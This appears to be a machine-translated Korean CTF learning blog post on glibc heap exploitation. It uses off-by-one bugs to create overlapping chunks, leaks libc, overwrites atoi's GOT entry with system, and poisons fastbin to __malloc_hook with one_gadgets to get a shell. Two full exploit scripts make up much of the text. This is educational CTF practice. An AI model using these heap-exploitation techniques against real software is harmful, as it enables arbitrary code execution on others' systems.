내 연락처 정보
우편메소피아@프로톤메일.com
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
pwn의 기초는 아직 매우 얕습니다. 저는 단지 학습 경험의 일부를 기록할 뿐입니다.
연구가 진행됨에 따라 추가적인 지식 포인트와 질문이 추가될 것입니다.
Chunk Extend 및 Overlapping | ctfwiki
위에서 언급한 Chunk Extend 및 Overlapping은 off-by-one과 밀접하게 관련되어 있습니다.
이를 흔히 "겹치는 블록"이라고 합니다.
겹치는 블록을 만드는 이유는 무엇입니까?
예를 들어 청크의 헤더 필드, 즉 prev_size 및 size 세그먼트를 다시 작성하려는 경우 직접 적용하여 변경할 수는 없습니다.
한 가지 아이디어는 잘못 배치된 가짜 청크를 만드는 것입니다. 또 다른 간단한 아이디어는 크기 비트를 수정하여 수정하려는 작은 청크의 헤더를 포함하는 것입니다.
이 질문은 off-by-one을 사용하는 방법에 대한 좋은 예라고 생각합니다. 질문도 별로 어렵지 않고, 활용 포인트도 꽤 영리합니다.
허점을 찾기 위해 디컴파일하고,
여기에는 인위적인 off-by-one이 있고 여기에 1바이트를 더 쓸 수 있습니다.
주제 할당으로 돌아가서,
먼저 일부 정보를 저장하기 위해 0x10 크기의 청크가 할당된 다음 콘텐츠에 대한 청크가 할당됩니다.
여기에서 gdb 디버깅을 보면 매우 명확해질 것입니다.
예를 들어 add(0x28,'0'),add(0x10,'1') 이후의 힙 블록 레이아웃은 다음과 같습니다.
추가할 때마다 낮은 주소에 힙 블록 정보를 저장하는 청크를 먼저 malloc한 다음 콘텐츠를 저장하는 청크를 malloc하는 것을 볼 수 있습니다.
그런 다음 편집 및 표시 작업이 모두 다음을 통해 수행된다는 것을 알았습니다.힙 블록 정보구조를 "인덱스"로 설정한 다음 libc를 유출하려면 이 청크의 힙 블록 정보를 넣을 수 있습니다. *content
필드는 특정 함수의 가져온 테이블 주소로 수정됩니다. 예를 들어, 이 질문에 atoi가 사용되면 표시 중에 atoi_addr이 인쇄됩니다.
이는 이전의 "작은 이해"와 유사한 상황을 포함합니다. "힙 블록 정보를 저장하는" 청크의 내용을 직접 수정할 수 없으므로 힙 블록 확장을 구현하기 위해 off-by-one을 더 영리하게 사용할 수 있습니다. .
예를 들어 이렇게 수정하면 실제로 힙 블록이 확장되고 겹칠 수 있습니다.
아래에서 구체적인 활용에 대해 이야기해 보겠습니다.
정보 힙 블록과 콘텐츠 힙 블록 모두 무료이므로 현재 fastbin에는 0x20과 0x40의 두 가지 크기 bin이 있습니다.
물론, 마지막으로 언급한 0x18과 0x28의 크기 선택, 수정 시 정보 스택의 콘텐츠를 예약해야 하는 필요성 등 몇 가지 세부 사항이 있습니다.크기필드(그렇지 않으면 최종 편집 내용의 길이가 부족해 작성되지 않음) 등이 있습니다.
경험:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
사실 이 질문에는 또 다른 핵심이 있는데, 제가 처음에 헷갈렸던 부분이기도 합니다. Master ZIKH의 EXP의 초기 Chunk0 추가는 0x18입니다. 제 경험으로는 0x10이나 0x20으로 변경해도 작동하지 않았지만 0x28로 변경하면 작동했습니다.
디버깅 결과 0x10, 0x20으로 변경되면 사용자 데이터가 다음 청크를 활성화하지 않는 것으로 나타났습니다.이전 크기의.
0x18, 0x28 등을 할당할 때 ptmalloc2 메커니즘은 next_chunk의 prev_size 세그먼트를 재사용합니다.
음, 사실 최종적으로 분석해 보면 저는 아직 힙에 대해 충분히 익숙하지 않습니다. 결국 위키 설명만 보면 지식 포인트도 너무 많고, 내용도 복잡해서 기억하기가 어렵습니다. 물론 실제 전투에서 접해본 적이 있어서 직접 디버깅하고 다시 이해하면 훨씬 나아질 것입니다.
문제의 결함은 여기에 있습니다.
if에 a2-a1==10이 있는 경우, 즉 편집으로 입력한 크기가 추가된 크기보다 정확히 10만큼 큰 경우 off-by-one이 발생합니다.
대략적인 할당 구조
또는 bss 세그먼트를 사용하여 청크의 사용 여부를 저장합니다.*content
우리는 여전히 0x8 크기의 특성과 결합된 off-by-one을 사용할 수 있습니다. prev_size를 재사용하여 prev_size를 가짜로 만들고 크기를 정방향(낮은 주소) 병합을 트리거할 수 있습니다.
이때 free(2)에 의해 병합이 실행되는 것을 볼 수 있습니다.
이때, (0x80)을 더한 후 show(1)을 추가하면 실제로 main_arena+88의 값을 출력할 수 있습니다.
내 이해는 다음과 같습니다. 여기서 add(0x80)는 unsortedbin을 분할하여 fd 포인터(main_arena+88)가 표시될 수 있는 Chunk1 세그먼트로 이동되도록 하는 것입니다.
이 시점에서 libc의 기본 주소가 유출됩니다.
다음 작업에는 힙 블록이 많이 겹치는 것처럼 느껴지므로 단계별 디버깅을 살펴보겠습니다.
libc 누출 시 힙 레이아웃
add(0x68)
(정렬되지 않은 빈에서 조각 잘라내기)
free(1)
(패스트빈 0x70)
edit(2,p64(malloc_hook-0x23))
(여기서는 이전 단계에서 적용한 0x68의 Chunk2가 방금 해제된 Chunk1(처음에는 Chunk1을 적용했음)과 겹치는 점을 활용합니다.)
add(0x68)
(Chunk1을 신청하면 실제로는 Chunk2가 됩니다)
add(0x68)
(malloc_hook-0x23에서 fake_chunk 반환 신청)
그런 다음 realloc을 사용하여 스택 프레임을 조정해야 하며 쉘을 얻을 수 있습니다.
그러면 로컬에서는 통과할 수 있지만 원격으로는 통과할 수 없습니다.
Master ZIKH의 Exp를 본 후 로컬을 사용해야 합니다.
realloc = libcbase + libc.sym['realloc']
로 변경realloc = libcbase + 0x846c0
그런 다음 one_gadget의 값을 변경해야 합니다.
이 두 개의 one_gadget에는 오프셋이 있습니다. 현재로서는 이유가 스택 프레임 조정과 관련이 있는 것 같습니다. (나중에 배우세요)
지역 특급 플레이:
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
현지의:
떨어져서:
요약하자면 어렵습니다.